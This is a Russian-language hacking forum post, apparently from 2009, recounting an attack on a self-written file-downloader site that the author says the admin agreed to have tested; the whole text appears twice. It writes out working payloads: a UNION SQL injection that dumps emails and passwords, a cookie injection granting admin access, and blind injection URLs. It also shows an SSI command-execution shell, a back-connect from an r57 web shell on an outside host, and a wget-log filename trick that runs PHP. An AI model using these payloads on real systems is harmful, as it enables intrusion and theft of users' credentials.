Scipio
14.07.2009, 22:40
В общем на статью может быть не тянет, но поделиться хочется, смысл в том, что я со знакомым админом договорился что потестю их сервис. Сервис - что то наподобие файлообменника, вернее качалки с других файлообменников. Да, забыл сказать что двиг был самописный. Походу рассказа буду вставлять логи из разговора, вернее часть логов:
scipio (21:34:54 2/02/2009)
http://testsite.ru/script.php?cat=-2%20union%20select%201,2,group_concat(email,0x3a,n ame,0x3a,password,0x3a,superuser)%20from%20users%2 0where%20superuser%3E0+--+
scipio (21:35:02 2/02/2009)
пришла ссылка?
******* (21:35:06 2/02/2009)
ога
******* (21:43:33 2/02/2009)
погоди
******* (21:43:35 2/02/2009)
ничо не понял
******* (21:43:36 2/02/2009)
$category = mysql_escape_string( $_GET["cat"] );
scipio (21:44:57 2/02/2009)
ну и? экранирует кавычки, а толку то?Вобщем простенькая ничем не примечательная инъекция, описание которых в сети и без того много. Далее я нашел инъекцию в куках, я не буду приводить кусок лога, где було общение про эту инъекцию т.к. там один мат со стороны админа в сторону кодеров, скажу только что подставив себе куки yagoda-cookie=admin%40testsite.ru' or 1=1 -- я стал админом. Ну и под конец были найдены еще пара-тройка слепых инъекцийscipio (23:07:45 2/02/2009)
http://testsite.ru/del.php?id=483011111%20and%201=if(substring(versio n(),1,1)=5,1,(select%201%20union%20select%202))
scipio (23:08:06 2/02/2009)
http://testsite.ru/del.php?id=483011111%20and%201=if(substring(versio n(),1,1)=4,1,(select%201%20union%20select%202))Ч рез несколько дней когда я вернулся к этому сайту началось самое забавное, я понял что файлы качаются не с помощью функций php, а средствами ОС, а точнее качалкой WGET, забавным оказалось то, что файлы скачивались с тем же расширением как они были в изначальном виде. Т. е. залив на народ файл shell.php и скачав его на этот файлообменник, я получал на серве файл с расширением php, все бы хорошо, но была маленькая деталь которая усложняла жизнь (хотя не особо то усложняла), к файлу добавлялся timestamp перед именем, написать брутер под это дело было не сложно и времени бы такой брутер совсем бы не занял. Но человеку свойственно самому придумывать для себя проблеммы и сложности, так и я не заметил наипростейшего решения. Оказывается папка upload, куда собственно и закачивались файлы, была доступна на просмотр. Я без труда находил свои php файлы. Шелл был залит. Соответственно я показал это админу и он закрыл возможность выполнять php скрипты с помощью .htaccess, который нельзя было преписать из-за timectamp (О блин, его же можно удалить и я знаю как, это мысля мне пришла в голову только сейчас). Еще через несколько дней scipio (21:45:21 28/03/2009)
слух а у пхп на вашем серве не стоит случаем mod_include?
****** (21:46:12 28/03/2009)
allow_url_include Off
****** (21:46:24 28/03/2009)
mod_include есть
****** (21:46:25 28/03/2009)
даа
scipio (21:46:29 28/03/2009)
))))))))00
****** (21:46:31 28/03/2009)
а чо эт ваще
****** (21:46:53 28/03/2009)
м ?
scipio (21:47:13 28/03/2009)
ну это значит что возможность вас похекать остается)Вобщем дальше я создал файло с названием shell.shtml и с содержанием:
<!--#exec cmd="$QUERY_STRING_UNESCAPED"-->далее я его закачал и обратился:
http://testsite.ru/upload/1238347498_shell.shtml?ls -lpпередо мной был листинг текущей папки. Об этом я тоже сообщил админу, и он прикрыл это безобразие.
Намба фо.
Седня решил зайти на этот сайт и чтото скачать, произошел глюк и я увидел не содержимое файла а лог wget. Когда я его увидел, я широко улыбнулся, потому как у меня появилась идея.Приведу пример логфайла http://testsite.ru/_logs/1242257939_filo.txt.wgetlog :
--2009-05-14 03:39:00-- http://www.mysite.it/uploadfile/filo.txt
Resolving www.mysite.it... 66.xx.xx.xx
Connecting to www.mysite.it|66.xx.xx.xx|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3 [text/plain]
Saving to: `./upload/1242257939_filo.txt'
0K 100% 626K=0s
2009-05-14 03:39:00 (626 KB/s) - `./upload/1242257939_filo.txt' saved [3/3]Я зашел на шелл http://www.mysite.it/uploadfile/r57.php и сделал бекконект, дале в консоли я набрал:
echo "ff">\<\?phpinfo\(\)\?\>\.phpтем самым создал на серве файл с именем <?phpinfo()?>.php. Содержимое файла было не важно, потом перевел в урл кодировку <?phpinfo()?>.php и получил %3C%3F%70%68%70%69%6E%66%6F%28%29%3F%3E%2E%70%68%7 0
На сайте testsite.ru (http://testsite.ru/_logs/1242257939_filo.txt.wgetlog) в адрессное поле я ввел http://www.mysite.it/uploadfile/%3C%3F%70%68%70%69%6E%66%6F%28%29%3F%3E%2E%70%68%7 0 (http://testsite.ru/_logs/1242257939_filo.txt.wgetlog) после того как закачка прошла успешно, я обратился http://testsite.ru/_logs/1242258092_%3C%3fphpinfo()%3f%3E.php.wgetlog Угадайте что я увидел :), <?phpinfo()?> выполнилось, т.к. .htaccess в папке _logs (http://testsite.ru/_logs/1242257939_filo.txt.wgetlog) небыло а апач не распознал расширение wgetlog и обработал предыдущее расширение, т.е. php. Соответственно и полноценный шелл залить не сложно. Админу я уже написал.
scipio (21:34:54 2/02/2009)
http://testsite.ru/script.php?cat=-2%20union%20select%201,2,group_concat(email,0x3a,n ame,0x3a,password,0x3a,superuser)%20from%20users%2 0where%20superuser%3E0+--+
scipio (21:35:02 2/02/2009)
пришла ссылка?
******* (21:35:06 2/02/2009)
ога
******* (21:43:33 2/02/2009)
погоди
******* (21:43:35 2/02/2009)
ничо не понял
******* (21:43:36 2/02/2009)
$category = mysql_escape_string( $_GET["cat"] );
scipio (21:44:57 2/02/2009)
ну и? экранирует кавычки, а толку то?Вобщем простенькая ничем не примечательная инъекция, описание которых в сети и без того много. Далее я нашел инъекцию в куках, я не буду приводить кусок лога, где було общение про эту инъекцию т.к. там один мат со стороны админа в сторону кодеров, скажу только что подставив себе куки yagoda-cookie=admin%40testsite.ru' or 1=1 -- я стал админом. Ну и под конец были найдены еще пара-тройка слепых инъекцийscipio (23:07:45 2/02/2009)
http://testsite.ru/del.php?id=483011111%20and%201=if(substring(versio n(),1,1)=5,1,(select%201%20union%20select%202))
scipio (23:08:06 2/02/2009)
http://testsite.ru/del.php?id=483011111%20and%201=if(substring(versio n(),1,1)=4,1,(select%201%20union%20select%202))Ч рез несколько дней когда я вернулся к этому сайту началось самое забавное, я понял что файлы качаются не с помощью функций php, а средствами ОС, а точнее качалкой WGET, забавным оказалось то, что файлы скачивались с тем же расширением как они были в изначальном виде. Т. е. залив на народ файл shell.php и скачав его на этот файлообменник, я получал на серве файл с расширением php, все бы хорошо, но была маленькая деталь которая усложняла жизнь (хотя не особо то усложняла), к файлу добавлялся timestamp перед именем, написать брутер под это дело было не сложно и времени бы такой брутер совсем бы не занял. Но человеку свойственно самому придумывать для себя проблеммы и сложности, так и я не заметил наипростейшего решения. Оказывается папка upload, куда собственно и закачивались файлы, была доступна на просмотр. Я без труда находил свои php файлы. Шелл был залит. Соответственно я показал это админу и он закрыл возможность выполнять php скрипты с помощью .htaccess, который нельзя было преписать из-за timectamp (О блин, его же можно удалить и я знаю как, это мысля мне пришла в голову только сейчас). Еще через несколько дней scipio (21:45:21 28/03/2009)
слух а у пхп на вашем серве не стоит случаем mod_include?
****** (21:46:12 28/03/2009)
allow_url_include Off
****** (21:46:24 28/03/2009)
mod_include есть
****** (21:46:25 28/03/2009)
даа
scipio (21:46:29 28/03/2009)
))))))))00
****** (21:46:31 28/03/2009)
а чо эт ваще
****** (21:46:53 28/03/2009)
м ?
scipio (21:47:13 28/03/2009)
ну это значит что возможность вас похекать остается)Вобщем дальше я создал файло с названием shell.shtml и с содержанием:
<!--#exec cmd="$QUERY_STRING_UNESCAPED"-->далее я его закачал и обратился:
http://testsite.ru/upload/1238347498_shell.shtml?ls -lpпередо мной был листинг текущей папки. Об этом я тоже сообщил админу, и он прикрыл это безобразие.
Намба фо.
Седня решил зайти на этот сайт и чтото скачать, произошел глюк и я увидел не содержимое файла а лог wget. Когда я его увидел, я широко улыбнулся, потому как у меня появилась идея.Приведу пример логфайла http://testsite.ru/_logs/1242257939_filo.txt.wgetlog :
--2009-05-14 03:39:00-- http://www.mysite.it/uploadfile/filo.txt
Resolving www.mysite.it... 66.xx.xx.xx
Connecting to www.mysite.it|66.xx.xx.xx|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3 [text/plain]
Saving to: `./upload/1242257939_filo.txt'
0K 100% 626K=0s
2009-05-14 03:39:00 (626 KB/s) - `./upload/1242257939_filo.txt' saved [3/3]Я зашел на шелл http://www.mysite.it/uploadfile/r57.php и сделал бекконект, дале в консоли я набрал:
echo "ff">\<\?phpinfo\(\)\?\>\.phpтем самым создал на серве файл с именем <?phpinfo()?>.php. Содержимое файла было не важно, потом перевел в урл кодировку <?phpinfo()?>.php и получил %3C%3F%70%68%70%69%6E%66%6F%28%29%3F%3E%2E%70%68%7 0
На сайте testsite.ru (http://testsite.ru/_logs/1242257939_filo.txt.wgetlog) в адрессное поле я ввел http://www.mysite.it/uploadfile/%3C%3F%70%68%70%69%6E%66%6F%28%29%3F%3E%2E%70%68%7 0 (http://testsite.ru/_logs/1242257939_filo.txt.wgetlog) после того как закачка прошла успешно, я обратился http://testsite.ru/_logs/1242258092_%3C%3fphpinfo()%3f%3E.php.wgetlog Угадайте что я увидел :), <?phpinfo()?> выполнилось, т.к. .htaccess в папке _logs (http://testsite.ru/_logs/1242257939_filo.txt.wgetlog) небыло а апач не распознал расширение wgetlog и обработал предыдущее расширение, т.е. php. Соответственно и полноценный шелл залить не сложно. Админу я уже написал.